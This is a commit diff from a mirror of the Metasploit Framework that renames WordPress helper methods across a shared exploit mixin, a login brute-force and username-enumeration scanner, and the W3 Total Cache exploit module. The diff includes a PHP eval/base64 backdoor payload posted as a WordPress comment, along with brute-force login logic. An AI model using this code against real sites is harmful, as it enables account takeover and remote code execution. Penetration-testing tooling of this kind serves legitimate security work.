infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

implement @limhoff-r7 feedback

bug/bundler_fix
Christian Mehlmauer 2013-08-21 21:05:52 +02:00
parent ffdd057f10
commit 2e9a579a08
3 changed files with 38 additions and 39 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

57
lib/msf/core/exploit/wordpress.rb
View File

@ -8,7 +8,6 @@ module Msf
### ###
module Exploit::Remote::Wordpress module Exploit::Remote::Wordpress
include Exploit::Remote::HttpClient include Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {}) def initialize(info = {})
super super
@ -24,7 +23,7 @@ module Msf
# Checks if the site is online and running wordpress # Checks if the site is online and running wordpress
# @return [Boolean] Returns true if the site is online and running wordpress # @return [Boolean] Returns true if the site is online and running wordpress
# #
def wp_wordpress_and_online? def wordpress_and_online?
begin begin
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
@ -52,7 +51,7 @@ module Msf
# Returns the Wordpress Login URL # Returns the Wordpress Login URL
# @return [String] Wordpress Login URL # @return [String] Wordpress Login URL
# #
def wp_uri_login def wordpress_uri_login
normalize_uri(target_uri.path, 'wp-login.php') normalize_uri(target_uri.path, 'wp-login.php')
end end
@ -61,7 +60,7 @@ module Msf
# @param post_id Post ID # @param post_id Post ID
# @return [String] Wordpress Post URL # @return [String] Wordpress Post URL
# #
def wp_url_post(post_id) def wordpress_url_post(post_id)
normalize_uri(target_uri.path) + "/?p=#{post_id}" normalize_uri(target_uri.path) + "/?p=#{post_id}"
end end
@ -70,7 +69,7 @@ module Msf
# @param author_id Author ID # @param author_id Author ID
# @return [String] Wordpress Author URL # @return [String] Wordpress Author URL
# #
def wp_url_author(author_id) def wordpress_url_author(author_id)
normalize_uri(target_uri.path) + "/?author=#{author_id}" normalize_uri(target_uri.path) + "/?author=#{author_id}"
end end
@ -80,12 +79,12 @@ module Msf
# @param pass Password # @param pass Password
# @return [String] the session cookie on successful login, nil otherwise # @return [String] the session cookie on successful login, nil otherwise
# #
def wp_login(user, pass) def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}" redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => wp_uri_login, 'uri' => wordpress_uri_login,
'data' => _wp_login_post_data(user, pass, redirect), 'data' => wordpress_helper_login_post_data(user, pass, redirect),
}, 20) }, 20)
if res and res.code == 302 and res.headers['Location'] == redirect if res and res.code == 302 and res.headers['Location'] == redirect
@ -103,11 +102,11 @@ module Msf
# @param user Username # @param user Username
# @return [Boolean] true if the user exists # @return [Boolean] true if the user exists
# #
def wp_user_exists?(user) def wordpress_user_exists?(user)
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => wp_uri_login, 'uri' => wordpress_uri_login,
'data' => _wp_login_post_data(user, 'x'), 'data' => wordpress_helper_login_post_data(user, 'x'),
}, 20) }, 20)
exists = false exists = false
@ -127,8 +126,8 @@ module Msf
# @param user_id user_id # @param user_id user_id
# @return [String] the Username if it exists, nil otherwise # @return [String] the Username if it exists, nil otherwise
# #
def wp_userid_exists?(user_id) def wordpress_userid_exists?(user_id)
url = wp_url_author(user_id) url = wordpress_url_author(user_id)
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => url 'uri' => url
@ -164,8 +163,8 @@ module Msf
# @param login_cookie The valid login_cookie # @param login_cookie The valid login_cookie
# @return [String] The location of the new comment/post # @return [String] The location of the new comment/post
# #
def wp_post_comment_auth(comment, comment_post_id, login_cookie) def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
_wp_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil) wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
end end
# #
@ -177,8 +176,8 @@ module Msf
# @param url The author url # @param url The author url
# @return [String] The location of the new comment/post # @return [String] The location of the new comment/post
# #
def wp_post_comment_no_auth(comment, comment_post_id, author, email, url) def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
_wp_post_comment(comment, comment_post_id, nil, author, email, url) wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
end end
# #
@ -186,8 +185,8 @@ module Msf
# @param login_cookie If set perform the bruteforce as an authenticated user # @param login_cookie If set perform the bruteforce as an authenticated user
# @return [Integer] The post id, nil when nothing found # @return [Integer] The post id, nil when nothing found
# #
def wp_get_valid_post_id(login_cookie=nil) def wordpress_get_valid_post_id(login_cookie=nil)
_wp_get_valid_post_id(false, login_cookie) wordpress_helper_get_valid_post_id(false, login_cookie)
end end
# #
@ -195,8 +194,8 @@ module Msf
# @param login_cookie If set perform the bruteforce as an authenticated user # @param login_cookie If set perform the bruteforce as an authenticated user
# @return [Integer] The post id, nil when nothing found # @return [Integer] The post id, nil when nothing found
# #
def wp_get_valid_post_id_with_comments_enabled(login_cookie=nil) def wordpress_get_valid_post_id_with_comments_enabled(login_cookie=nil)
_wp_get_valid_post_id(true, login_cookie) wordpress_helper_get_valid_post_id(true, login_cookie)
end end
# #
@ -205,8 +204,8 @@ module Msf
# @param login_cookie If set perform the check as an authenticated user # @param login_cookie If set perform the check as an authenticated user
# @return [String] the HTTP response body of the post, nil otherwise # @return [String] the HTTP response body of the post, nil otherwise
# #
def wp_post_comments_enabled?(post_id, login_cookie=nil) def wordpress_post_comments_enabled?(post_id, login_cookie=nil)
_wp_check_post_id(wp_url_post(post_id), true, login_cookie) wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
end end
private private
@ -218,7 +217,7 @@ module Msf
# @param redirect URL to redirect after successful login # @param redirect URL to redirect after successful login
# @return [String] The post data # @return [String] The post data
# #
def _wp_login_post_data(user, pass, redirect=nil) def wordpress_helper_login_post_data(user, pass, redirect=nil)
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}" post_data = "log=#{Rex::Text.uri_encode(user.to_s)}"
post_data << "&pwd=#{Rex::Text.uri_encode(pass.to_s)}" post_data << "&pwd=#{Rex::Text.uri_encode(pass.to_s)}"
post_data << "&redirect_to=#{Rex::Text.uri_encode(redirect.to_s)}" post_data << "&redirect_to=#{Rex::Text.uri_encode(redirect.to_s)}"
@ -236,7 +235,7 @@ module Msf
# @param url The author url # @param url The author url
# @return [String] The location of the new comment/post # @return [String] The location of the new comment/post
# #
def _wp_post_comment(comment, comment_post_id, login_cookie, author, email, url) def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
vars_post = { vars_post = {
'comment' => comment, 'comment' => comment,
'submit' => 'Post+Comment', 'submit' => 'Post+Comment',
@ -270,10 +269,10 @@ module Msf
# @param login_cookie A valid login cookie to perform the bruteforce as an authenticated user # @param login_cookie A valid login cookie to perform the bruteforce as an authenticated user
# @return [Integer] The post id, nil when nothing found # @return [Integer] The post id, nil when nothing found
# #
def _wp_get_valid_post_id(comments_enabled=false, login_cookie=nil) def wordpress_helper_get_valid_post_id(comments_enabled=false, login_cookie=nil)
(1..1000).each { |id| (1..1000).each { |id|
vprint_status("#{rhost}:#{rport} - Checking POST ID #{id}...") if (id % 100) == 0 vprint_status("#{rhost}:#{rport} - Checking POST ID #{id}...") if (id % 100) == 0
body = _wp_check_post_id(wp_url_post(id), comments_enabled, login_cookie) body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
return id if body return id if body
} }
# no post found # no post found
@ -287,7 +286,7 @@ module Msf
# @param login_cookie A valid login cookie to perform the check as an authenticated user # @param login_cookie A valid login cookie to perform the check as an authenticated user
# @return [String] the HTTP response body of the post, nil otherwise # @return [String] the HTTP response body of the post, nil otherwise
# #
def _wp_check_post_id(uri, comments_enabled=false, login_cookie=nil) def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
options = { options = {
'method' => 'GET', 'method' => 'GET',
'uri' => uri 'uri' => uri
@ -311,7 +310,7 @@ module Msf
location = URI(res.headers['Location']) location = URI(res.headers['Location'])
uri = location.path uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty? uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return _wp_check_post_id(uri, comments_enabled) return wordpress_helper_check_post_id(uri, comments_enabled, login_cookie)
end end
return nil return nil
end end

8
modules/auxiliary/scanner/http/wordpress_login_enum.rb
View File

@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip) def run_host(ip)
unless wp_wordpress_and_online? unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site") fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end end
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary
def do_enum(user=nil) def do_enum(user=nil)
print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'") print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'")
exists = wp_user_exists?(user) exists = wordpress_user_exists?(user)
if exists if exists
print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID") print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID")
report_auth_info( report_auth_info(
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user=nil, pass=nil) def do_login(user=nil, pass=nil)
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'") vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
cookie = wp_login(user, pass) cookie = wordpress_login(user, pass)
if cookie if cookie
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'") print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
def enum_usernames def enum_usernames
usernames = [] usernames = []
for i in datastore['RANGE_START']..datastore['RANGE_END'] for i in datastore['RANGE_START']..datastore['RANGE_END']
username = wp_userid_exists?(i) username = wordpress_userid_exists?(i)
if username if username
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}" print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
usernames << username usernames << username

12
modules/exploits/unix/webapp/php_wordpress_total_cache.rb
View File

@ -82,9 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->" php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
if @auth if @auth
uri = wp_post_comment_auth(php_payload, @post_id, @cookie) uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else else
uri = wp_post_comment_no_auth(php_payload, uri = wordpress_post_comment_no_auth(php_payload,
@post_id, @post_id,
rand_text_alpha(8), rand_text_alpha(8),
"#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com", "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
unless wp_wordpress_and_online? unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site") fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
end end
@ -104,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
if @auth if @auth
print_status("#{peer} - Trying to login...") print_status("#{peer} - Trying to login...")
@cookie = wp_login(@user, @password) @cookie = wordpress_login(@user, @password)
if @cookie.nil? if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end end
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else else
print_status("#{peer} - Trying to brute force a valid POST ID...") print_status("#{peer} - Trying to brute force a valid POST ID...")
@post_id = wp_get_valid_post_id_with_comments_enabled @post_id = wordpress_get_valid_post_id_with_comments_enabled
if @post_id.nil? if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else else
@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def check def check
unless wp_wordpress_and_online? unless wordpress_and_online?
print_error("#{peer} does not seeem to be Wordpress site") print_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end